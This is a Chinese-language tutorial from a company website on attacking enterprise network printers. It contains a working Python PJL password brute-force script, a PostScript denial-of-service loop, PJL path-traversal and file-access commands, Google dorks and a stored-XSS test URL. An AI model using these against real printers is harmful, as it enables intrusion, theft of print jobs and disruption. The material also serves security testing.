发布源:深圳维创信息技术发布时间:2020-10-27 浏览次数: 次
一、前言经过最近一段时间测试,发现企业内网打印机存在多种数据泄露漏洞,同时也经常被大家所忽略,因此才有本文的研究。
当一台打印机连接网络,可以进行端口扫描、读写上传恶意文件、反弹shell,相当于一台服务器。
常见攻击,信息泄露,如访问内存,可能发现密码或打印文件中的敏感数据,访问文件系统,泄露配置文件或存储的打印作业;DOS;远程代码执行漏洞RCE,通过缓冲区溢出漏洞,构造恶意数据包,使打印机执行恶意代码,将固件更新为含有恶意的固件;打印任务控制,修改打印内容等。
二、打印机语言在研究打印机前有必要熟悉打印语言,网上各种介绍打印机语言,大家看的会比较混乱,比如有时候是打印机描述语言,有时候又叫打印机控制语言。
下面以本人的理解去介绍打印机语言,其实打印机语言按分类是有两类,一种是页面描述语言(PDL),另一种是嵌入式语言(Escape码语言),而HP的PCL控制语言和PostScript(以下简称 PS)都属于PDL页面描述语言。
1. PS与PCL介绍PS、PCL等打印语言其实是一个命令集,它告诉打印机如何组织被打印的文档。
打印机驱动程序把这些命令嵌在打印数据中传给打印机,而不是单独传送,并由打印机的打印控制器再分开解释。
PCL网上介绍的都差不多,PCL对计算机系统资源占用也较少,同时对字库、图像的解释能力较强等,关键还是把本文前面部分弄懂,否则会很混乱,不利于对打印机的漏洞研究。
2. 对比PCL在处理文本、文档方面比较出色(已支持图形功能),速度明显,但是打印质量与PS差距不大,PS在处理打印大的文件,如PDF、Photoshop等软件下打印大的图形图像文件有速度优势,准确度、色彩方面比PCL强。
所以 PCL语言适用于普通的商务办公应用,PS适用于对图形和色彩准确度要求比较高的专业应用。
3. 工作流程在计算机上将打印内容位图格式解释成标准的页面描述文件,为PostScript、PCL等格式,这种文件被传到打印机的控制器中,控制器将页面描述文件,发送给光栅图像处理器 (Raster Image Processor),把PostScript、PCL格式解释成位图格式,打印机才可以打印位图格式的图像。
4. PJL打印任务语言(PJL)用于指导打印机行为,利用PJL语言可以对打印任务执行管理性的更改设置,对打印文件形成有限管理控制,例如,在打印机文件系统下用户不经常留意的以下特定位置中,它可对打印文件执行存储删除操作。
其它打印机语言是PCL的扩展,如打印机作业语言PJL是 PCL的扩展,用于控制打印机的行为,上面提到PCL只处理内容,扩展的PJL则可以永久性的修改设备的设置,如印纸张大小和数量。
而 PJL可以被用来执行DoS攻击、打印页面控制、读取文件系统和内存,甚至恶意固件更新。
供应商往往只支持PJL 控制语言中的部分命令,并根据打印机的需要自行添加专有的功能。
5. PPDPS、PCL都是一种与设备无关的打印机语言,它们只处理打印的内容,而与设备相关的分辨率、纸张大小它们不处理。
PS 、PCL可以将打印内容解释成页面描述文件,这个文件会被控制器解析并打印。
但是对譬如分辨率、纸张大小、进纸盒进行选择时,调用的是打印机描述(PostScript Printer Description ,即PPD)文件来实行各种打印机的不同特性,PS、PCL 语言在打印的时候,即定义图像时根本不用去考虑打印机的分辨率、纸张大小,由打印机的PPD文件来决定,给处理字体带来了极大的灵活性。
PPD文件主要提供以下与打印机有关的特定信息::默认/ 最高分辨率,是否支持半色调监控,用户设定的监控信息,页面大小定义,页面可打印区域,默认字体(通常为Courier),是否支持双面打印等等。
每一种不同的 PostScript打印机都分别对应有专门的PPD文件。
关于PostScript仿真,因为目前使用PostScrit语言需要向 Adobe公司支付一笔费用,成本较高,因此才有与PostScript完全兼容的PostScript仿真,像 HP公司的一些激光打印机中使用的PostScript仿真,也无需再支付Adobe公司相应的费用。
6. 利用PS可以用于各种攻击,例如拒绝服务,打印作业处理和保留以及访问打印机的文件系统等恶意操作。
打印机指令语言PCL很难被攻击利用,该页面描述语言不直接访问底层文件系统,因此和PS相比,该描述语言并不是很适合用于攻击的目的,不过PCL的扩展PJL容易受到攻击,下文基本上是基于PJL。
三、 探测打印机1. namp-A 192.168.1.*主要查看开放哪些端口,并检测操作系统指纹,一般开放如下端口、服务为打印机:2. Savins打印机发现SmartDeviceMonitor工具,可以搜索Savins打印机,去官网下载:3. JetDirect打印机JetAdminJetAdmin可用来控制、搜索JetDirect打印机,可快速找出子网中的JetDirect打印机,它通过SNMP广播网络来定位打印机。
4. ARP协议扫描NMAP、Cain,通过MAC地址发现 Hewlett Packard、Ricoh或其它厂商的MAC地址。
nmap-R192.168.1.0/245. 谷歌搜索打印机的WEB登陆链接放置在内网站点上,易于他们管理或存储文档,但有时内网并不是真正处于内网中,但可以通过互联网访问到。
Ricoh Savins(由于打印机频繁地存储文档,导致被下载,这确实是一个真正的安全杀手):intitle:"webimagemonitor""/web/user/en/websys/webArch/mainFrame.cgi"inurl:"/en/sts_index.cgi"HPJetdirects(各型号均不相同)inurl:hp/device/this.LCDispatcherCUPSConnectedPrintersinurl:":631/printers"-php-demo6. 其它搜索shodan搜索,device:printer。
钟馗之眼搜索,service:”jetdirect”。
四、漏洞挖掘
1. PJL密码爆破若打印机的9100端口向公网开启,在向打印机发送PJL指令之前需要对使用者的身份进行认证,认证程序的密钥长度为2字节(Byte),通过爆破可以将 PJL 的密码安全保护禁用,最终执行任意PJL命令。
如果直接通过9100端口执行PJL命令,说明存在未授权访问。
PJL是打印控制语言PCL的扩展。
文章前面部分已经介绍过,这里是针对认证PJL的爆破,否则无法使用PJL命令。
危害:通过 PJL 除了能够查看和更改打印机状态之外,还可以对打印机内置的文件系统进行访问,进而可绕过密码验证通过 PJL 对打印机内置的文件系统进行读写。
文件系统包含后台处理打印作业、收到的传真、日志文件和配置文件。
9100端口一般为JetDirect的端口,JetDirect虽然是惠普设计的,但是众多打印机都使用该软件,包括Canon、Lexmark、Samsung和Xerox。
该软件负责处理通过网络提交的打印请求。
网络打印机通过JetDirect协议,侦听,接收打印请求数据。
如下是PJL密码存储格式:@PJLJOBPASSWORD=0@PJLDEFAULTPASSWORD=12345@PJLDEFAULTDISKLOCK=ON@PJLDEFAULTCPLOCK=ON可通过 内存和文件系统读取获取密码,或暴力破解。
爆破代码python3如下:importsocketimportsysdefmain():iflen(sys.argv)<=1:print('Parameterserror')returns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.settimeout(10)s.connect((sys.argv[1],9100))s.settimeout(None)#发送读取设备ID的PJL指令s.send(('33%-12345X@PJLINFOID\r\n33%-12345X\r\n').encode('UTF-8'))print(s.recv(1024).decode('UTF-8'))foriinrange(1,65536):buf=b''#发送重置密码的PJL指令s.send(('33%-12345X@PJL\r\n@PJLJOBPASSWORD='+str(i)+'\r\n@PJLDEFAULTPASSWORD=0\r\n@PJLEOJ\r\n33%-12345X\r\n').encode('UTF-8'))ifi%30==0:#发送查询密码保护状态的PJL指令s.send(('33%-12345X@PJL\r\n@PJLDINQUIREPASSWORD\r\n33%-12345X\r\n').encode('UTF-8'))whileTrue:buf+=s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:#密码保护被禁用buf.index(b'DISABLED')print('passworddisabledok!')#发送查询目录的PJL指令s.send(('33%-12345X@PJL\r\n@PJLFSDIRLISTNAME="0:\\"ENTRY=1COUNT=99\r\n33%-12345X\r\n').encode('UTF-8'))buf=b''whileTrue:buf+=s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:#查询成功buf.index(b'ENTRY')print('PoCOK!')returnexceptValueError:print('PoCNO!')returnexceptValueError:continueexceptValueError:print('passworddisabledfaild!')finally:s.close()returnexceptValueError:continues.close()if__name__=='__main__':main()pft使用此脚本爆破:返回password disabled ok!,说明成功禁用PJL密码保护。
此脚本先爆破PFT密码保护,如果爆破成功,然后执行查询磁盘的PJL命令,当然也可只用PFT工具,文章后面部分会讲PFT。
2. DOS当向打印机9100端口发送任何数据,打印机都可将其打印出来,文章前部分发现,9100端口还支持原始打印、PCL、PostScript和PJL,即可以通过9100端口执行PJL。
当执行DOS,则可无限循环打印任务,导致打印任务不断执行,资源耗尽,无法执行打印操作。
按个人理解简单点说,就是当发起打印任务时,打印机等任务发起结束,才会执行下一步的打印操作,如果一直循环打印任务,则无法到达下一步。
通过几行PostScript代码实现DOS。
PS代码实现的循环:%!{}loop3. 路径遍历漏洞-案例分析这不是针对某个型号的漏洞,算是打印机的一个通用漏洞,可以通过../等进行目录穿越,对文件进行读取和写入,不过并不是所有的目录文件都可读写,当发现无法读写时,可继续切换其它目录测试,可能存在可读写的文件,从而泄露敏感文件,如“Jobs”目录中存储的就是打印任务,可以通过PFT 、PRET工具包读取存储在其中的任何打印任务。
如果允许 PJL 命令访问该设备的文件系统,远程攻击者可以借助 PJL 读取任意文件,远程连接打印机并进行遍历目录操作。
这里借用个人之前的案例演示,通过9100端口执行PJL命令,并且未授权访问打印机。
在学习之前,需要熟悉PJL命令。
如下是本人对PJL命令的整理:@PJLFSDELETENAME=“pathname”[<CR>]<LF>#删除文件@PJLFSDOWNLOADFORMAT:BINARY[SIZE=int][<CR>]<LF>#下载文件到打印机@PJLFSINITVOLUME=“pathname”[<CR>]<LF>#初始化打印机文件系统@PJLFSMKDIRNAME=“pathname”[<CR>]<LF>#创建目录@PJLDINQUIRECPLOCK#检查控制面板状态@PJLDINQUIREPASSWORD#检查密码保护状态@PJLJOBPASSWORD=[Number:0to65535]#当前密码保护密码@PJLDEFAULTPASSWORD[Number:0to65535]#修改保护密码@PJLDEFAULTCPLOCK=[ON,OFF]#控制面板状态@PJLSETIOBUFFER=[ON,OFF,AUTO]#设置缓冲区@PJLSETIOSIZE=[10-100]#设置缓存区大小@PJLSETPCNAME=[String]#设置计算机名称@PJLSETHOLD=[ON,JOB,STORE,PROOF]#设置文件保存@PJLSETHOLDKEY=[Number:0000to9999]#设置保存文件密码@PJLDEFAULTDISKLOCK=[ON,OFF]#设置硬盘锁定状态@PJLSETSPOOLTIME#设置打印日期@PJLSETCOPIES#设置打印数@PJLSETJOBNAME#设置打印机文件名称@PJLSETRESOLUTION#设置分辨率@PJLSETDRIVERNAME#设置驱动@PJLUSTATUSJOB#输出队列中还未打印任务的状态@PJLCOMMENT#添加注释@PJLSETOUTTRAY#出纸盘(纸张输出位置)@PJLSETORIENTATION=[PORTRAIT,LANDSCAPE]#页面方向@PJLSETDUPLEX=[ON,OFF]#双工模式(双面打印)@PJLSETBINDING=[LONGEDGE,SHORTEDGE]#双工模式:短边、长边@PJLRNVRAMADDRESS#读取内存@PJLOPMSGDISPLAY#设置打印机离线脱机@PJLSETSERVICEMODE#设置服务模式@PJLWNVRAMADDRESS#写入内存@PJLFSDIRLISTNAME#读取目录@PJLFSQUERYNAME#读取文件@PJLFSUPLOADNAME#文件上传@PJLFSDOWNLOAD#写入文件(1) @PJL FSDIRLIST NAME=”0:/” ENTRY=1 COUNT=1024上图发现目录名称是 0:/,有两个目录,一个是本地目录./,一个是../目录。
(2) 读取 ../ 目录,发现其下有7个,./代表本目录@PJLFSDIRLIST NAME=”0:/../” ENTRY=1 COUNT=1024发现有:.TYPE=DIR..TYPE=DIRDataTYPE=DIRJobsTYPE=DIRTempTYPE=DIRBrowserTYPE=DIRPDLTYPE=DIR(3) 读取Data目录发现有Data、jobs目录,这里演示访问其下的Data目录,发现Data目录存在这些目录文件。
@PJLFSDIRLIST NAME=”0:/../data” ENTRY=1 COUNT=1024发现Data目录存在这些目录文件:.TYPE=DIR..TYPE=DIRDataContractTYPE=DIRCustomerDataDBTYPE=DIR总结:目录遍历除了可读取文件之外,还可写入,但是并不是所有的文件都可写入,寻找可写入的文件,如向启动脚本写入代码,重启即可执行代码反弹shell,这里我当时时间有限,遍历几个目录没有发现启动脚本,不然只要可写入就能反弹shell。
路径遍历案例:中国移动某省公司打印机未授权访问已成功下载移动内部资料(保密承诺书?)https://www.secpulse.com/archives/33663.html4. PFT工具根据文章前面部分,也大概知道了打印机攻击是基于打印机语言命令,如输入PJL命令造成相关,需要掌握PJL命令,输入PJL命令比较麻烦,这里有一个强大的打印机框架工具PFT, 而使用PFT工具可以无需掌握PJL命令,每一个参数已内置打印机语言,只需要调用对应参数来利用,配合help查看。
使用教程:(1) PFT连接到打印机pft>server192.168.15.200Serversetto192.168.15.200pft>port9100Portsetto9100pft>connectConnectedto192.168.15.200:9100Device:hpLaserJet4250(2) PFT清除PJL程序保护清除成功之后,也能登录web控制台页面。
pft>envbruteforcetry30INFO:force_recv_clear()timedoutfor270bytes(10sec)Passworddisabledsuccessfully(3) 查看硬盘文件一般高级的打印机会有硬盘,如下命令查看有哪些盘符。
pft>volumesVolumeSizeFreeLocationLabelStatus0:1261977611786240RAM?READ-WRITE(4) ls查看文件pft>ls0:\.-d..-dPostScript-dPJL-dsaveDevice-dwebServer-d(5) 将文件下载到本地get 文件名5. HP JetDirect打印机存储型XSS攻击者必须访问HP镭射打印机配置页面,”Product_URL”和”Tech_URL”参数 存在漏洞,对应CVE号:CVE-2012-3272。
点击WEB的“支持信息” 连接,按如下输入:点击“Apply”按钮,跳转到支持页面中(support.htm),出现弹框。
测试方法:http://[server]/support_param.html/config?Admin_Name=&Admin_Phone=&Product_URL=[XSS]&Tech_URL=[XSS]&Apply=Apply6. 打印控制任务PERT连接到打印机,并尝试利用打印机所使用的打印机语言(目前支持PS,PJL和PCL),如python pret.py IP PS可尝试调用打印机PS语言进行操作,一旦使用PRET连接到打印机中的一个功能,我们将可以做很多事情。
例如检查文件系统,创建目录,更改配置文件、dump整个NVRAM。
如输出打印“Foo”,执行cross topsecret Foo:打印如下:7. 固件漏洞如果打印机不存在PJL命令执行漏洞,可针对固件漏洞测试,通过nmap发现固件版本,Linux_Exploit_Suggester.pl查询内核版本漏洞。
nmap扫描出如下:执行perl Linux_Exploit_Suggester.pl -k 2.6.31:PS:该工具只能查询内核3.4.4之前的漏洞信息。
github下载:https://github.com/IntepSecureLabs/Linux_Exploit_Suggester五、总结从打印机语言到PJL命令执行等漏洞分析,包括打印机挖掘思路以及案例分析,总结了目前常见的打印机数据泄露漏洞,其它的高级应用也是基于这些原理基础上,这里不讲PRET工具使用,网上有很多PRET使用教程。
需要提醒一下,大家不要随便乱用工具来扫打印机,否则会打印出很多请求数据包,浪费大量的纸张。
因为这些脚本在端口9100/tcp检测系统版本时,会发送探针请求,判断9100上运行的是何种服务,由于JetDirect并不知道它发送的是什么数据,因此会打印出探测报文,最后会打印出一堆垃圾数据。
Copyright © 2021 深圳市维创信息技术有限公司 版权所有